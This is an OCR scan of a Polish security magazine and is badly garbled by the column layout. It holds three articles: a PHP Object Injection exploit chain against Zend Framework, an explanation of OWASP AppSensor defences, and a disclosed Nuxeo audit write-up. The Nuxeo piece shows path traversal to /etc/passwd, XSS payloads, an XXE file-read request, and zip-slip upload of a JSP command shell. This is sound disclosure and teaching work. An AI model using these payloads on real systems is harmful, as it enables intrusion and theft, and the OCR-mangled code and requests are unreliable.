ym s%lmym udato nam sie odnalez¢ cigg klas w Zendzie, ktory doprowadzit do 6. } _ obrori swojg aplikacje
wykonania dowolnego kodu PHP. 27. namespace Zend\Http\Response {

Teraz nalezy potaczy¢ wszystkie klocki w jedno i napisac kod, ktéry zbuduje od- 28. class Stream { © Btedy bezpieczeristwa
powiedni fancuch klas, zgodnie z powyzszym opisem. W ponizszym przykfadzie 29. protected $cleanup = true; we frameworku Nuxeo
exploit wykona funkcje phpinfo(). 30. protected $streamName;

1. <?php 31. function _ construct() { s
2. namespace Zend\Tag { 32. $this->streamName = new \Zend\Tag\Cloud(); ‘ \

n Podziel sie zinem
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33. }

34, }

35. }

36.

37. namespace Exploit {

38.

39. $x = new \Zend\Http\Response\Stream();

40. var_dump($x);

41. echo urlencode(base64_encode(serialize($x)))."\n\n";
42, }

Aby upewnic sie, ze kod rzeczywiscie zadziata, wzigtem prosta, przyktadowa aplika-
cje w Zendzie (ZF2 Skeleton Application) i dopisatem w niej jedna linie kodu...

I 1. unserialize(base64_decode($ _GET["x"]));
Na diagramie ponizej pokazuje, ze w istocie phpinfo() zostanie wykonane w wyni-
ku wykorzystania Object Injection.

& 192.168,1.13:8080/7x=TzoyNToiWmVuZFxldHRwXFJIc3BvbnMNIXFNOcmVhbSIEM)p7 czoxMDoiACoAY 2dYW51cCITYjoxO3MEMTI c & | Q Szukaj

© 2005 - 2015 by Zend Technologies Ltd. All rights reserved.

System Linux mbkali 3.7-trunk-amd64 #1 SMP Debian 3.7.2-0+kalié x86_64
Build Date May 22 2015 12:47:54

Server API Built-in HTTP server

Virtual Directory disabled

Support

C ion File

(php.ini) Path

Loaded Configuration |/etc/phpS/ciiphp.ini
File:

Scan this dir for fetc/phpS/ciiconf.d

additional .ini files

Additional .ini files d/10-pdo.ini, d/20-curlini, /etc/phpSiciiconf.d/20-gd.ini,
parsed . d/20-merypt.ini, ~d/20-mysqgl.ini, .d

120-mysaqli.ini, /etciphpSicliicon f.d/20-pdo_mysqlini

1. phpinfo() przez deserializacje.

PODSUMOWANIE

Pokazalismy, ze podatnos¢ PHP Object Injection w aplikacji (przy uzyciu framewor-
ka Zend), moze zosta¢ wykorzystana do wykonania dowolnego kodu PHP po stro-
nie serwera.

Nalezy zaznaczy¢, ze nie jest to problem bezpieczeristwa samego Zenda - klasy,
ktdre zostaty uzyte w tancuchu, s uzywane w frameworku do realizacji jego zwy-
ktych funkcjonalnosci. To programisci aplikacji webowych musza pamieta¢, aby ni-
gdy nie uruchamiac¢ funkgji unserialize() na niezaufanych danych.

Michat Bentkowski. Realizuje testy penetracyjne oraz audyty bezpieczeristwa
w firmie Securitum. Autor w serwisie sekurak.pl. Aktywnie (i z sukcesem)
uczestniczy w znanych programach bug bounty.
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OWASP AppSensor
- obron swoja aplikacje

Projekt AppSensor zostatl oficjalnie dotgczony do grupy fla-
gowych (flagship)projektéw organizacji OWASP. Celem tego
projektu jest integracja aplikacji z metodykami wykrywania
i powstrzymywania atakow (attack-aware application).

Projekt ten zaktada, ze to aplikacja powinna by¢ ,swiadoma” zagrozen i to w apli-
kacji musi nastapi¢ wykrycie nieuprawnionych dziatan i ich powstrzymanie. Taka
koncepcja przeniesienia ciezaru odpowiedzialnosci za bezpieczeristwo do wnetrza
aplikacji moze znacznie przyczyni¢ sie do wzrostu odpornosci przeciwko atakom
sieciowym. Zdecydowanie programisci aplikacji powinni by¢ nie tylko $wiadomi za-
grozen, ale powinni réwniez implementowac¢ mechanizmy ich wykrywania i reakgji.

AKTYWNA OBRONA

Tworcy projektu Appsensor poréwnujg swojg koncepcje aplikacji bankowej do
ochrony fizycznej banku. Straznicy bankowi bardzo szybko zauwazyliby osobe, kt6-
ra zachowywataby sie nienaturalnie i inaczej niz pozostali klienci, np. rozgladataby
sie, prébujac dostac sie do stref przeznaczonych dla personelu. Taka ma by¢ réwniez
bankowos¢ elektroniczna - to aplikacja, lepiej niz system IDS czy WAF, bedzie wie-
dziata, ktore dziatania uzytkownika s uprawnione, a ktére sg nienaturalne i powin-
ny wzbudzi¢ podejrzenia. Appsensor ma utatwi¢ twércom aplikacji implementacje
mechanizmow wykrywania atakéw juz na etapie jej projektowania.

Zaletg implementacji tego frameworku w budowanych aplikacjach jest to, ze
moze wykry¢ i reagowac na nieznane jeszcze zagrozenia, poniewaz nie bazuje na
sygnaturach a na analizie zachowan. Appsensor to tez swietne Zrédto informacji
o tym, co sie dzieje w aplikacji, w jaki sposdb jest wykorzystywana, a reakcje na
dziatania uzytkownikéw przeprowadzane sg na biezaco. Appsensor, ktéry ma pet-
ng $wiadomos¢ logiki biznesowej danej aplikacji, nie dopusci do nieuprawnionych
dziatan np. wstrzykniecia zapytania SQL, poniewaz takie dziatanie nie bedzie mie-
scito sie w ‘'normalnych’ przeptywach aplikacji. Appsensor ma taczy¢ wiedzg o ata-
kach sieciowych z wiedzg o0 mechanizmach dziatania danej aplikacji.
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1. OWASP Appsensor, zrodto: owasp.org.

WDROZENIE APPSENSOR DO APLIKAC]I

Podrecznik Appsensor wskazuje na rézne podejscia wdrozenia mechanizméw ak-
tywnej obrony w aplikacji. Zaleca sie przygotowanie konfiguracji opartej na polity-
ce zdefiniowanej wg:

» lokalizacji wykrycia ataku (detection points),

» poziomu/ progu detekgcji (thresholds),

» reakcji (responses).

Przyktadowe video pokazuje w jaki sposdb dziata attack-aware applications”zgod-
na z zasadami projektu Appsensor.
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DETEKCJA

Dodanie detection point Appsensora do kodu walidacji w aplikacji:

if ( Value in Whitelist ) then
[existing normal process execution];
else
[send event to AppSensor];
[existing exception/error handling];

A v b W N R

end if;

Istnieje okoto 50 takich zdefiniowanych przyktadéw nieuprawnionych zachowan
- AppSensor DetectionPoints. Podzielono je na 12 kategoriii moga dotyczy¢ dziatan:
» manipulacja parametrami zapytania HTTP,

» przesyfany jest GET zamiast oczekiwanego zapytania POST,

» modyfikacja ciastek sesyjnych,

» kodowanie znakow iinne.

Jednym z przyktadow jest dziatanie z kategorii IE2, czyli sytuacja w ktdrej uzytkownik
przekazat do aplikacji dane nie bedace na liscie dopuszczalnych wartosci (whitelist):

ID [E2
TITLE Violation Of Implemented White Lists
CATEGORY InputException
The application receives user-supplied data that violates
DESCRIPTION an established white list validation.
CONSIDERATIONS See AC3 (Force Browsing Attempts) about requests for

non-existent/unauthorised (i.e. not white listed) URLs.
TUNING (same as IET)

The user submits data that is not correct for the particular
field. This may not be attack data necessarily, but repeated

EXAMPLES violations could be an attempt by the attacker to determi-
ne how an application works or to discover a flaw.
CODE [Java] [.Net] [PHP]

PROG DETEKC]JI

Oczywiscie nie kazde przekazanie danych spoza ‘whitelisty’ powinno by¢ traktowa-
ne jako atak - to generowatoby zbyt duzo fatszywych alarmoéw, w tym celu okresla
sie prég detekcji — threshold. Wykrycie ataku z kategorii IE2 mogtoby by¢ zdefinio-
wane w nastepujacy sposob:

1. 3 zdarzenia typu IE2 w czasie 5 minut dla tego samego
uzytkownika

REAKCJA

Wykryty atak wywotuje reakcje, aplikacja Swiadoma atakéw sieciowych ma w mo-

delu Appsensor zdefiniowane grupy reakcji — AppSensor ResponseActions, podzie-

lone na 4 gtéwne kategorie:

» Ciche (Silent) np. logowanie, powiadomienie administratora,

» Pasywne (Passive) np. dodatkowe uwierzytelnienie podejrzanego uzytkownika,
wydtuzenie czasu odpowiedzi,

» Aktywne (Active) np. zamkniecie procesu, wylogowanie uzytkownika, wytacze-
nie podatnej czesci aplikacji,

» Sledcze (Intrusive) np. zebrania informacji o IP, numerze IMEI, charakterystyce
przegladarki uzytkownika itp.

Przyktadem reakcji moze by¢ zmiana funkcjonalnosci aplikacji ASR-H: Function
Amended:

ID ASR-H
TITLE Function Amended

Logging, notifying (sometimes), disrupting and blocking |
One, some or all users | For a period or permanent

CATEGORY Active

CLASSIFICATIONS

The usual functionality is amended but not disabled (see

DESCRIPTION ASR-1).

CONSIDERATION
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» Example 1: Limit on feature usage rate imposed

» Example 2: Reduce number of times/day the user can
submit a review

» Example 3: Additional registration identity validation
steps

» Example 4: Additional anti-automation measures (e.g.
out-of-band verification activated, CAPTCHA introdu-
ced)

» Example 5: Static rather than dynamic content returned

» Example 6: Additional validation requirements for deli-

EXAMPLES very address

» Example 7: Watermarks added to pages, images and
other content

» Example 8: Additional human interactive proof challen-
ges added due to the number of incorrect guesses of
CAPTCHASs outnumbering the correct guesses by more
than a certain factor (e.g. Token bucket idea)

» Example 9: Fuzz responses to mask real functionality or
increase attacker efforts to enumerate the application
(e.g.random URL generation using ADHD Spider Trap
or Weblabyrinth, realistic but invalid cipher text data
using techniques such as honey encryption)

Video prezentuje przyktad zaawansowanej konfiguracji AppSensor w aplikacji biz-
nesowej (sklep internetowy).

PRZYKEADOWE IMPLEMENTAC]E

W ramach projektu AppSensor powstaty demonstracyjne produkty pokazujace,
w jaki sposéb mozna zaimplementowac omawiane rozwigzania:

1. AppSensor WS (Web Services) wersja 2

2. AppSensor Core (Java) wersja 1

3. Light Touch Retrofit (PHP)

4. Ensnare (Ruby) - luzno zwigzny z AppSensor, ale o zblizonej filozofii
5. Team Mentor (.NET) - integracja biblioteki AppSensor (Java) z .NET +video Deni-
sa Cruz

Przykfady projektéw demonstracyjnych pokazujg rowniez, w jaki sposodb potaczyc
taka aplikacje z SIEM czy Event Logging.

APPSENSOR DETECTION POINTS W REGUEACH
MODSECURITY

Twércy webowego firewalla aplikacyjnego ModSecurity dodali do repozytorium
reguty eksperymentalne, ktére implementujg niektére detection points okre$lone
przez twércéw AppSensor. W artykule Trustwave Labs mozna znalez¢ przyktady za-
stosowan tych regut, a video pokazuje sposob integracji zasad AppSensor w Mod-
Security. Niemniej prawdziwym duchem AppSensor jest jednak przeniesienie ze-
wnetrznych mechanizmoéw obronnych do srodka aplikacji.

Na koniec zachecamy do obejrzenia prezentacji m.in. o AppSensor, ktérg przy-
gotowat Leszek Mis na konferencje Confitura 14.

PODSUMOWANIE

Projekt AppSensor wychodzi naprzeciw potrzebom deweloperéw w zakresie imple-
mentacji mechanizméw ochronnych przed atakami sieciowymi. OWASP AppSensor
Guide daje programistom wskazéwki, w jaki sposéb aplikacja ma stac sie Swiadoma
atakéw oraz jak powinna reagowac na niepozadane dziatania. Zaleta AppSensor
jest skalowalnos¢ — wdrazanie tych zasad mozna rozpocza¢ na ograniczong skale
poprzez implementacje kilku detection points, a wraz z rozbudowa aplikacji posze-
rzy¢ mechanizmy obronne o bardziej zaawansowane odpowiedzi na ataki i wspot-
prace z systemami zewnetrznymi, takimi np. klasy SIEM.

Bartosz Jerzman. Admin, pentester z zacieciem na defensywne aspekty
bezpieczenstwa IT. Zatozyciel secman.pl.
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1s NT £.3; WO ; rvi3iB.0)
feenyo=0.3

rath/default/default-domainfvien
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PHP Object Injection
- mato znana klasa podatnosci

Aocept-Language: pl,en-U3; g=0 umentsséconversationld=0NXMAIN L& PHP Ob]ect In]ectlon
proxy-remote—addr: 1.2.3.44 g

Referer: "7DIES43FE529FETCI4DF . nuxeo; i ZendFramework2
http://182.1E8.88. L2/ nuxeo/ o }EDPEJ’BEIHH:

ments?mainTab Id=MAIN TAEI%3Ad [

cds=MAIN TABS%3Adocumsnts OWASP AppSensor

Cookie: JSESSIONID=S0AED3IZZOA

3. Czytamy /etc/passwd.

- obron swojqg aplikacje

e © Czymjest podatnosc¢ CSRF
Kilka miesiecy temu przeprowadzaliSmy ogélng analize bez- (Cross-Site Request Forgery)?
pieczenstwa frameworka Nuxeo. Nuxeo to aplikacja typu ECM © Problemy z XXE
(Enterprlse Content Management)7 uzywana mledzy lnnyml ltf’defal.llt—domain@view_docu (XML eXternal Ent'ty)
przez takie organizacje jak Electronic Arts czy amerykanska presaationld-aMXERIN1eabT _
marynarke wojenng. WspominaliSmy juz kiedy$ na Sekuraku A e © EZVT Ietsst. T Policy?
obtedachbezpieczefistwawNuxeowkonteksciefrancuskichwin, ‘o . ontent Security Foticy:
) . i 2. “./” usuwane z nazwy pliku.
teraz przyszia pora na techniczny opis btedow. © HSTS czyli
HTTP Strict Transport Security
Okazato sie jednak, ze aplikacja nie wykonuje tej operacji w petli, a wiec jedno “./”
PATH TRAVERSAL zagniezdzone w innym “../” pozwoli omina¢ zabezpieczenie. Zobaczmy na przykta- © Czymjest SQL injection?
dzie: mamy ciag znakéw “....//". Aplikacja szuka i usuwa“./", a zatem “...//” =>"../". Jak _ .
Path traversal, a wiec dostep do dowolnych plikow na dysku. Wykorzystanie podat- wida¢, po tej operacji nadal pozostaje ,ucieczka” do katalogu wyzej, a wiec — path © Czymjest XSS:
nosci byto mozliwe bez uwierzytelnienia. traversal. Powtarzajac powyzsza sztuczke odpowiednig liczbe razy, mozemy sie do- © Pozwalasz tadowaé pliki SVG?
Aplikacja pobierata czes¢ skryptéw, odwotujac sie do zasobu np. /nuxeo/ sta¢ do dowolnych plikéw na dysku, np. /etc/passwd (Rysunek 3). Masz XSS-a!

js/?scripts=jquery/jquery.konami.js (Rysunek 1).

© Wprowadzenie do narzedzia

o cncnomen ol ssmemerhl comemar oS samenanl sps e .
Request ~£te/passwd HTTP/L.1 Burp Suite
J Raw I Params T Headers Tm

©

©

©

©

1. Typowe odwotanie do /scripts. Nazwa skryptu jest wyswietlana w odpowiedzi.

Zawarto$¢ parametru az prosi sie o sprawdzenie Path traversala ;). Twércy frame-
worku zabezpieczyli sie jednak przed najprostszym atakiem, usuwajac wszelkie wy-
stgpienia znakow “../” z parametru (Rysunek 2).

XSS-Y

W aplikacji byto tez kilka XSS-6w, zaczynajac od najprostszych mozliwych (Rysunek 4)
do troche bardziej skomplikowanych, ktére opiszemy ponize;j.
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) Nuzxeo » Connect x\_+

5 6 ] @ 192.168.88.121/nuxeo/site/connectClient/install/run/aaaaaaaaaa?source="» <svg/onload=alert(1)> + X - Q Szukaj

4. Najprostszy mozliwy XSS.

Nuxeo umozliwia uploadowanie dokumentéw w réznych formatach, m.in. docx,
pdf czy zip. Po uploadzie uzytkownicy moga podejrze¢ wgrane pliki; w przypadku
zipow wyswietlana jest najpierw lista plikéw z archiwum.

Przygotujmy zatem zipa, w ktérym nazwa pliku bedzie payloadem XSS-owym
(Rysunek 5), tworzymy nowy dokument, wykorzystujac tego zipa (Rysunek 6),
a nastepnie na liscie dokumentow nalezy kliknag¢ PPM i wybra¢ Preview (Rysunek 7)
i boom! XSS wykonuije sie.

adding: <swg onload=alert(l)

5. Zip, zawierajqcy plik z payloadem XSS-owym w nazwie.

T o
Create a new document File
~ &= Default domain c
B3 Sections
™1 Templates 2 *
+ [l Worspaces Tite Dokument z XSS
[ test
Description asd
WorkList Clipboard
Content O None

® Upload
e Przegladaj_ | xss.zip

6. Upload pliku xss.zip.

Ol [f] Dokument z X5~ 1
Copy
Il [f] newest C

* Delete
Il MOWY aaaaaa Modi z
ify

Rename
View

Download

Workflow

\ Lock
> Preview

Email

7. Wybdr opcji ,,Preview”.,

8. Wykonanie XSS-a.

XXE (XML EXTERNAL ENTITY)

XXE to btad pozwalajacy odczytywac zawartosc plikow na dysku, o ktérym na Seku-
raku pisalismy juz dwukrotnie. Nuxeo takze byto podatne na ten bfagd w zapytaniach
do zasobu /nuxeo/seam/resource/remoting/execute, gdzie zawartos¢ zadanego
pliku byta wysytana w postaci URL-enkodowanej (Rysunek 9 i Rysunek 10).
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FO3IT /nuxeo/seam/resource/remoting/execute HTTR/ 1.1

Host: 1SZ2.1e8.88.1Z21

Content—-Type: text/plain; charset=UTF-8

Cookie: J3ESSTICNID=E0AEDIZZO0ATFTDSES43FE529FETCO4DF . . nuxeo;

Connection: Close
Wstrzykniety kod

Content-Length: 404
/ do XXE

onTdx>0NXMAIN</conversationld

< /DOCTYPE =xxe [

<IENTITY xxe SIYSTEM "/etc/passwd™:
ks
<enveloper<header><contexXt><convers
=</ contextr</ header><body=<call
component="popupHe lper"™ met SMdownloadbocument™ id="1":=
<paramsr<param><str>S9as Ad-£941-435d-a8c7-72deT7aibd0d4E</scr></pa
ra.m}-(param}{str,-“ strr</paramr<paramr<str>file%3LAfilenam=</st
r=</params=</params><refar</refas></call></hody></envelope>

9. Wstrzykniecie XXE.

HTTF/ 1.1 Z00 COKE

Date: Fri, 19 Jun 2015 15:15:21 GMT
Server: Apache-Coyote/1.1
K-Ti-Compatikble: IE=10; IE=11
Content-Type: text/xml

Vary: Accept-Encoding

Connection: close

Content-Length: Z145

<enveloper<headerr<contextr<conversationld=0MXMAIN</ conve
rzationlds=</context></ header><body><result

id="l"s<valuer<strrnxfiles2Fdefanlt%2F8%ae75bd-6941-435d-
aBecT-T2deTaibd048%2F%26xxe%3BY3AXS3A0%3A0%3AY 00 L 3A%2F YO0
t33A%2Fbhin%2Fbash%0Adaemon® 3Ax% IA1 %341+ 3Adaemont IAL2Fusr%
2Fsbhin%3A%2Fusr%2Fshints 2Fnologint0Abint 3AXS3A2%3A2% 3ABIin%
A% 2Fbhin%3A%2Fusr% 2Fshin%2Fnologin%0Asys+ 3Ax%3AISIA3IRIASY
s%3IA%IFdevit 3IA%2Fusra2Fshin% 2Fnologin®s0Asyno% 3Ax%3A4%3A655
34%3AsyncEIAY2FhIint 3A%2Fhint 2F synct0Agame s% 3AXS AT IAG0% 3
Agames%3AL2Fusrs2Fgame =% 3A% 2Fusr+ 2Fshint 2Fnologins0Amant3
Ax%IAG%IAL 2% 3AMmant IA%2Fvar+2Fcache % 2Fmant 3A% 2Fusr+2Fshin%
2Fnologins0A1pSs3IAXS3ATHSIATHIANpH3AS2Fvart2Fspool s 2F1pd% 34

10. URL-enkodowana odpowiedz? z zawartoscig pliku.

WYKONYWANIE DOWOLNEGO KODU

Przechodzimy do najciekawszej podatnosci. Przy okazji XSS-a wspomniatem, ze ist-
nieje mozliwos¢ podgladu zawartosci plikow zip. Okazuje sie, ze w chwili kliknie-
cia ,Preview’, Nuxeo rozpakowuje archiwum do jednego z katalogéw na dysku, by
stamtad serwowac potem jego zawartos¢. Funkcje odpowiedzialne za rozpakowy-
wanie nie byty jednak odpowiednio zabezpieczone, co sprawito, ze dzieki sztuczce
z nazwaniem pliku w zipie np."./../../../../[evil_file” mozliwe byto wgranie pliku w do-
wolnym katalogu serwera, do ktérego uprawnienia miat uzytkownik nuxeo.

W domyslnej instalacji Nuxeo rozpakowuje pliki z zipéw do katalogu o na-
zwie “/var/lib/nuxeo/data/convertcache/aa/bb/cc/dd/ee/hash/’, zas pliki JSP mo-
zemy umiesci¢ np. w katalogu “/var/lib/nuxeo/server/nxserver/nuxeo.war/", co
oznacza, ze aby wejs¢ do tego folderu potrzebowa¢ bedziemy sekwencji znakow:
“JoA. AT server/nxserver/nuxeo.war/shell.jsp”.

Przygotujmy zatem zipa, ktory pozwoli wykorzysta¢ podatnos¢. Na potrzeby
naszego przyktadu utworzymy plik o nazwie.._.._.._.._.._.._.._.._Server_nxserver_nu-

xeo.war_shell.jsp i nastepujacej zawartosci:

1. <%@ page import="java.util.*,java.io.*"%>

2. <%

3. out.println("<plaintext>");

4. Process p = Runtime.getRuntime().exec("id");
5. OutputStream os = p.getOutputStream();

6. InputStream in = p.getInputStream();

7. DataInputStream dis = new DatalnputStream(in);
8. String disr = dis.readlLine();

9. while ( disr != null ) {

10. out.println(disr);

11. disr = dis.readlLine();

12. }

13. %>
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Tworzymy zipa poleceniem np. zip vuln.zip

server_nxserver_nuxeo.war_shell.jsp. Nastepnie przechodzimy do hex-edy-
tora, w ktérym podmieniamy w nazwie pliku znaki”_"na"“/” (Rysunek 11).

wuln.zip ¥

00000000
Doooools
00000030
noooo0D4s
00000060
noooooTe
00000090
000000as8
000000cO
0o00000ds
000000£0

11. Podmiana nazwy pliku wewngtrz zipa.

50
00
2E
78
84
4B
97
53
ce
01
cs

4B
00
2E
65
55
03
61
97
ca
c3
04

03
3B
2F
6F
27
31
E&
97
BB
56
65

04
0o
2E
2E
37
14
3a
EOQ
EB
72
38

14
1c
ZE
77
84
85
5E
E4
AF
A9
BB

1w E o E Doy o O

Tak przygotowany ZIP mozna juz uploadowa¢ w nuxeo. Podobnie jak we wcze-
$niejszym XSS-ie, nalezy skorzystac nastepnie z funkgji,Preview”. Podglad powinien
zgtosi¢ biad (Error while calling Seam aware Restlet: Index: 0, Size: 0), ale nowy plik JSP

bedzie juz dostepny (Rysunek 12).

€ @ 192.168.88.121/nuxeo/shell,jsp

Rys. 12. Wykonanie shella.

PODSUMOWANIE

uid=1000 (nuxeo) gid=1000 (nuxec) groups=1000 (nuxec) , |

Analiza bezpieczenstwa frameworka Nuxeo wykazata w nim kilka btedéw bezpie-
czenstwa, zaczynajac od nieuwierzytelnionego dostepu do plikéw, konczac na wy-

konaniu dowolnego kodu systemu operacyjnego.

Komunikacja z ekipg Nuxeo przebiegata bardzo sprawnie, btedy zostaty napra-
wione w ciggu kilku dni od zgtoszenia, za$ advisory wydano w kolejnym tygodniu.

Michat Bentkowski. Realizuje testy penetracyjne oraz audyty bezpieczeristwa
w firmie Securitum. Autor w serwisie sekurak.pl. Aktywnie (i z sukcesem)
uczestniczy w znanych programach bug bounty.
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/apraszamy na autorskie szkolenia z zakresu bezpieczenstwa IT

{ Bezpieczenstwo aplikacji WWW } { Offensive HTML, SVG, CSS and other Browser-Evil }
{ Bezpieczenstwo siedi / testy penetracyjne } { Wprowadzenie do bezpieczenstwa T }

/aawansowany monitoring i obstuga }

incydentow bezpieczenstwa informadj { SZKolenie przygotowujace do egzaminu CEH }

[ Certified Ethical Hacker )
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